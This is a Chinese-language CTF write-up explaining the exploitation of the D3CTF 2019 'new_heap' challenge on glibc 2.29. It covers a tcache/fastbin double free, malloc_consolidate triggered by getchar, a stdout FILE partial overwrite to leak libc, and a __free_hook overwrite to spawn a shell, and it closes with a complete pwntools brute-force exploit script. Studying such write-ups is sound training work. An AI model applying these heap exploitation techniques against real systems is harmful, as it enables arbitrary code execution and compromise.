0%

d3ctf new_heap

这题是2019 d3ctf赛的一题,当时没做出来,后来看了大佬的exp脚本,慢慢研究,终于明白了原理,现在,我们就来详细的解析一下这题

首先,我们还是检查一下程序的保护机制,保护全开

再看一下给我们的libc.so.6的版本,可见是glibc2.29,那么对于堆的管理,就存在tcache机制

程序只有简单的3个功能,没有show,也没有edit,这让我们手无足措

然后,我们用IDA分析一下

程序一开始申请了一个0x1000的堆,然后告诉我们了堆地址的低2字节数据

然后释放了这个堆

接下来,我们在程序中申请堆时,是从0x1000的堆位置开始申请的,因此,我们知道了堆的低2字节

最多创建18个堆,并且每个堆的大小最多申请0x78(实际大小0x80)

程序唯一的漏洞在这,free后没有把指针清零,可以造成double free

退出功能,看似没什么奇怪之处

分析到这,我们似乎也找不到一点头绪,果真是高质量题目

首先,我们总结一下

  1. 我们创建不了大的堆,因为做了限制

  2. 没有show功能,看似也泄露不了什么

  3. tcache bin是将空闲块的**[数据域]{.mark}互相链接组成链表,而fast bin是将空闲块的[头部]{.mark}**链接起来,tcache bin缺少充分检查,很容易利用,只要修改它的fd,即可申请到某处

4、只有UAF漏洞可以利用

即使不需要泄露,我们也需要unsorted bin,因为unsorted bin的fd和bk处有libc中的指针,但是本题大小做了限制,大小范围都落在fastbin的大小里。并且,没有溢出漏洞,不能溢出来修改size。但是,**[unsorted bin是可以通过整理合并fastbin,来生成的。]{.mark}在ptmalloc中,有一个[malloc_consolidate]{.mark}**函数,用于将fastbin整理合并到unsorted bin里。malloc_consolidate的条件如下之一

  1. malloc large bin

  2. top chunk不够空间

  3. 在free函数在各种合并前后chunk之后的size大于FASTBIN_CONSOLIDATION_THRESHOLD 也就是65536

本题,如何来触发malloc_consolidate呢,关键就在于退出功能,看似好像没什么用,但是getchar()是个关键的地方。

由于,本题的**[输入都是用的read]{.mark}**

read函数内部其实是调用sysread,内部不带缓冲区,从打开的设备或文件中读取数据。因此,在未调用功能3之前,_IO_2_1_stdin_结构体的缓冲区未初始化。

而getchar()、scanf这些,都是带有缓冲区的,它们依靠_IO_2_1_stdin_结构体,而_IO_2_1_stdin_结构体就是FILE结构体,当我们**[第一次]{.mark}调用带有缓冲区的输入函数时,[函数会判断fp->_IO_buf_base输入缓冲区是否为空,如果为空则调用的_IO_doallocbuf去初始化输入缓冲区。]{.mark}**

我们先运行程序,然后用pwndbg attach到pid上

在没有执行getchar()时,我们看到的_IO_2_1_stdin_结构体内容如下

然后,我们执行一下getchar()看看

发现,getchar()初始化了缓冲区,并且**[大小为0x400,这个大小属于large bin范围]{.mark}**

因此,[功能3可以触发一次malloc_consolidate]{.mark}

能触发malloc_consolidate,那么,我们就能将fastbin变成unsorted bin来利用

本题最多总能创建18个堆,因此,我们每一次创建都要慎重考虑,尽可能不浪费。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sh.recvuntil('0x')  
#chunk0的地址低2字节
low_2_byte = int(sh.recv(2),16)

#chunk0~chunk4这5个chunk用于放入tcache bin
for i in range(0,5):
create(sh,0x50,'f'*0x50)
#我们需要overlap chunk6,因此,我们需要在chunk6中伪造一个chunk
#prev_size = 0,size = 0x61,fd = bk = 0,刚好overlap到chunk6结尾
payload = 'a'*(0x50-0x20) + p64(0) + p64(0x61) + p64(0)*2
create(sh,0x50,payload) #chunk5
create(sh,0x38,'b'*0x38) #chunk6
create(sh,0x50,'c'*0x50) #chunk7 不能靠近top块,因此我们用chunk8挡住
create(sh,0x50,'d'*0x50) #chunk8

我们在chunk5伪造chunk,把chunk6给包含进去(overlap),然后把chunk5里面那个伪造的chunk想办法链到fastbin里面,触发malloc_consolidate,让那个假chunk链接到unsorted bin,然后申请合适大小的堆,使得libc中的指针传递到chunk6的fd处

1
2
3
4
5
6
7
8
9
10
11
12
13
#chunk0~chunk5放入tcache bin,使得0x60的tcache bin有6个节点  
for i in range(0,6):
delete(sh,i)
#chunk6放入0x40的tcache bin
delete(sh,6)
#chunk8 放入0x60的tcache bin
delete(sh,8)
#chunk7放入0x60的fastbin
delete(sh,7)
#从tcache取出头chunk
create(sh,0x50,'\n') #9
#chunk7 放入tcache bin
delete(sh,7)

我们先把0~5放入0x60的tcache bin,把chunk6放入0x40的tcache bin,把8放入0x60的tcache bin,接下来delete(7)时,由于0x60的tcache bin已经达到了7个,所以chunk7放在fastbin,由于fastbin不检查非top的节点double free,于是,我们从tcache里取出一个,再次delete(7),那么chunk7成为0x60的tcache bin的头结点。chunk8存在的作用就是使得chunk7不是top,然后我们看看bins的布局

1
2
3
4
#由于chunk7同时存在于tcache bin和fastbin,又由于tcache bin各指针指向的是chunk的数据区,所以,我们这次create时,顺便低位覆盖,便可以  
#改变chunk7的fd指针,我们要让chunk7的fd指针指向我们在chunk5末尾伪造的那个chunk,由于chunk6被overlap,然后,我们就可以想办法触发malloc_consolidate,生成
#unsorted bin,再通过申请,把libc中的关键指针传递到chunk6的fd域
create(sh,0x50,p16(((low_2_byte + 2) << 8) + 0x70)) #10也就是chunk7的空间

经过这个create操作后,fastbin里的指针发生了变化

0x60的fastbin里链入了我们伪造的chunk

接下来,我们触发malloc_consolidate

1
2
#整理fastbin,使得fastbin变成unsorted bin  
mallocConsolidate(sh)

再看看bins的布局

我们伪造的chunk里面fd已经有了libc中的指针,接下来,我们通过申请合适大小的chunk,就能把libc中指针传递到chunk6的fd,使得0x40的tcache bin链上libc中的指针。

1
2
3
#create后,libc中的指针传到了chunk6的fd处  
#我们随便先把/bin/sh字符串保存到这里,最后free_hook时使用
create(sh,0x10,'/bin/sh') #11

现在,再看看bins

因为,我们malloc(0x10),所以,会**[从unsorted bin里切割0x20,所以unsorted bin头变成了]{.mark}**

[0x555555757490,然后libc中的指针会被传到下一个chunk,也就是0x555555757490 + 0x10 = 0x5555557574a0]{.mark}

接下来,我们据需申请**[大小不在tcache bin里的chunk,来低位覆盖chunk6的fd]{.mark}**,使得chunk6的fd有可能指向_IO_2_1_stdout_结构体

1
2
#低2字节覆盖,使得chunk6的fd有1/16的可能指向_IO_2_1_stdout_结构体-0x10处  
create(sh,0x10,p16((_IO_2_1_stdout_s - 0x10) & 0xFFFF)) #12

我们**[为什么要劫持_IO_2_1_stdout_结构体呢]{.mark}**?因为程序在创建堆后有一个puts调用

我们来看看puts的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int  
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}

_IO_puts,[其内部调用_IO_sputn,接着执行_IO_new_file_xsputn,最终会执行_IO_overflow]{.mark}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int  
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
}
if (ch == EOF)
//我们需要控制_IO_write_base
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end) //当两个地址相等就不会输出缓冲区里数据。
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}

通过上面源码分析,当IO_write_ptr与_IO_buf_end不想等的时候就会打印它们之间的字符,而这之间,可以泄露出一些信息,然后我们就能计算出libc基地址,因此,[我们想办法劫持_IO_2_1_stdout_结构体,将_IO_write_base的低字节覆盖,然后我们调用puts(“done”)时,就能泄露出信息]{.mark}

当然,由于PIE,我们有**[1/16(倒数第4个16进制数可能不一样)]{.mark}**的几率通过低覆盖chunk6的fd,使得fd指向了_IO_2_1_stdout_结构体,我们接下来的操作,都是假设fd正确的指向了_IO_2_1_stdout_结构体

当前,覆盖fd,没有指向**IO_2_1_stdout**结构体,当我们假设指向了_IO_2_1_stdout_结构体,那么malloc(0x38)两次就能申请到_IO_2_1_stdout_结构体-0x10处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
create(sh,0x38,'\n') #13  
#假设chunk6的fd已经指向了_IO_2_1_stdout_,我们低位覆盖write_base指针
payload = '\x00' * 0x10 + p64(0xfbad1800) + p64(0) * 3 + p8(0)
create(sh,0x38,payload) #14
response = sh.recvuntil('done')
#没有成功覆盖,说明我们没有命中_IO_2_1_stdout_结构体,抛出异常,重试
if len(response) < 8:
raise Exception('retry')
#print response
#低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址
_IO_stdfile_2_lock_addr = u64(response[8:16])
#计算出libc的地址
libc_base = _IO_stdfile_2_lock_addr - _IO_stdfile_2_lock
system_addr = libc_base + system_s
free_hook_addr = libc_base + free_s_hook
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'free_hook_addr=',hex(free_hook_addr)

如上,我们**[p8(0)将write_base的低1字节覆盖为了0,经过IDA调试,发现低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址]{.mark}**,那么我们就能计算出libc的地址,以及其他一些需要用的函数的地址

接下来,bins变成这样了

现在,我们只剩下3个chunk可以申请,因此再申请就超过了18个了,然而,我们还需要攻击free_hook,当前unsorted bin的头为0x563a0b8d84b0,我们还是想用同样的方法,来修改tcache bin里头结点的fd,但是0x60 tcache bin头结点是0x563a0b8d8440,比unsorted bin的头结点地址低,覆盖不到。但是,[还记得chunk6后面的那个chunk7吗,它的地址正好只比当前unsorted bin的头节点地址高一点,但是chunk7当前不在tcache中,因为之前被申请出去了,那么我们再重新把chunk7放回来]{.mark}

1
2
#让chunk8重新回到tcache中,作为头0x80 tcache bin的头  
delete(sh,10)

然后,我们再看看bins(注意,我们每次调试都重新运行了重新,所以地址会有所变化,但是他们相对地址是不变的)

现在,我们可以申请合适大小的chunk,来修改0x60 tcache bin头结点的fd指针,让它指向free_hook

1
2
3
#接下来,我们再申请,又从unsorted bin里切割一块,但是切得的这一块与chunk7有重合的部分,因此我们可以修改chunk7的fd,让它指向free_hook  
payload = '\x00' * 0x20 + p64(free_hook_addr)
create(sh,0x30,payload) #15

我们再看看bins

那么,我们接下来继续申请,正好把free_hook指向system,然后18个堆正好用完

1
2
3
4
5
create(sh,0x50,'e'*0x50) #16  
#将free_hook指向system
create(sh,0x50,p64(system_addr)) #17
#getshell
delete(sh,11)

由于只有1/16的几率,我们还需要爆破,综上,我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#coding:utf8  
from pwn import *

libc = ELF('./libc.so.6')
free_s_hook = libc.symbols['__free_hook']
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
_IO_stdfile_2_lock = libc.symbols['_IO_stdfile_2_lock']
system_s = libc.sym['system']

def create(sh,size,content):
sh.sendlineafter('3.exit','1')
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',content)

def delete(sh,index):
sh.sendlineafter('3.exit','2')
sh.sendlineafter('index:',str(index))

#getchar()会申请large bin触发malloc consolidate
def mallocConsolidate(sh):
sh.sendlineafter('3.exit\n','3')
sh.sendafter('sure?\n','n')

#爆破,成功率1/16
def crack(sh):
sh.recvuntil('0x')
#chunk0的地址低2字节
low_2_byte = int(sh.recv(2),16)

#chunk0~chunk4这5个chunk用于放入tcache bin
for i in range(0,5):
create(sh,0x50,'f'*0x50)
#我们需要overlap chunk6,因此,我们需要在chunk6中伪造一个chunk
#prev_size = 0,size = 0x61,fd = bk = 0,刚好overlap到chunk6结尾
payload = 'a'*(0x50-0x20) + p64(0) + p64(0x61) + p64(0)*2
create(sh,0x50,payload) #chunk5
create(sh,0x38,'b'*0x38) #chunk6
create(sh,0x50,'c'*0x50) #chunk7 不能靠近top块,因此我们用chunk8挡住
create(sh,0x50,'d'*0x50) #chunk8

#chunk0~chunk5放入tcache bin,使得0x60的tcache bin有6个节点
for i in range(0,6):
delete(sh,i)
#chunk6放入0x40的tcache bin
delete(sh,6)
#chunk8 放入0x60的tcache bin
delete(sh,8)
#chunk7放入0x60的fastbin
delete(sh,7)
#从tcache取出头chunk
create(sh,0x50,'\n') #9
#chunk7 放入tcache bin
delete(sh,7)
#由于chunk7同时存在于tcache bin和fastbin,又由于tcache bin各指针指向的是chunk的数据区,所以,我们这次create时,顺便低位覆盖,便可以
#改变chunk7的fd指针,我们要让chunk7的fd指针指向我们在chunk5末尾伪造的那个chunk,由于chunk6被overlap,然后,我们就可以想办法触发malloc_consolidate,生成
#unsorted bin,再通过申请,把libc中的关键指针传递到chunk6的fd域
create(sh,0x50,p16(((low_2_byte + 2) << 8) + 0x70)) #10也就是chunk7的空间
#整理fastbin,使得fastbin变成unsorted bin
mallocConsolidate(sh)
#create后,libc中的指针传到了chunk6的fd处
#我们随便先把/bin/sh字符串保存到这里,最后free_hook时使用
create(sh,0x10,'/bin/sh') #11
#低2字节覆盖,使得chunk6的fd有1/16的可能指向_IO_2_1_stdout_结构体-0x10处
create(sh,0x10,p16((_IO_2_1_stdout_s - 0x10) & 0xFFFF)) #12
create(sh,0x38,'\n') #13
#假设chunk6的fd已经指向了_IO_2_1_stdout_,我们低位覆盖write_base指针
payload = '\x00' * 0x10 + p64(0xfbad1800) + p64(0) * 3 + p8(0)
create(sh,0x38,payload) #14
response = sh.recvuntil('done')
#没有成功覆盖,说明我们没有命中_IO_2_1_stdout_结构体,抛出异常,重试
if len(response) < 8:
raise Exception('retry')
#print response
#低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址
_IO_stdfile_2_lock_addr = u64(response[8:16])
#计算出libc的地址
libc_base = _IO_stdfile_2_lock_addr - _IO_stdfile_2_lock
system_addr = libc_base + system_s
free_hook_addr = libc_base + free_s_hook
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'free_hook_addr=',hex(free_hook_addr)
#让chunk8重新回到tcache中,作为头0x80 tcache bin的头
delete(sh,10)
#接下来,我们再申请,又从unsorted bin里切割一块,但是切得的这一块与chunk7有重合的部分,因此我们可以修改chunk7的fd,让它指向free_hook
payload = '\x00' * 0x20 + p64(free_hook_addr)
create(sh,0x30,payload) #15
create(sh,0x50,'e'*0x50) #16
#将free_hook指向system
create(sh,0x50,p64(system_addr)) #17
#getshell
delete(sh,11)
sh.interactive()


while True:
try:
sh = process('./new_heap',env={"LD_PRELOAD":"./libc.so.6"})
crack(sh)
except:
sh.close()
print 'retrying...'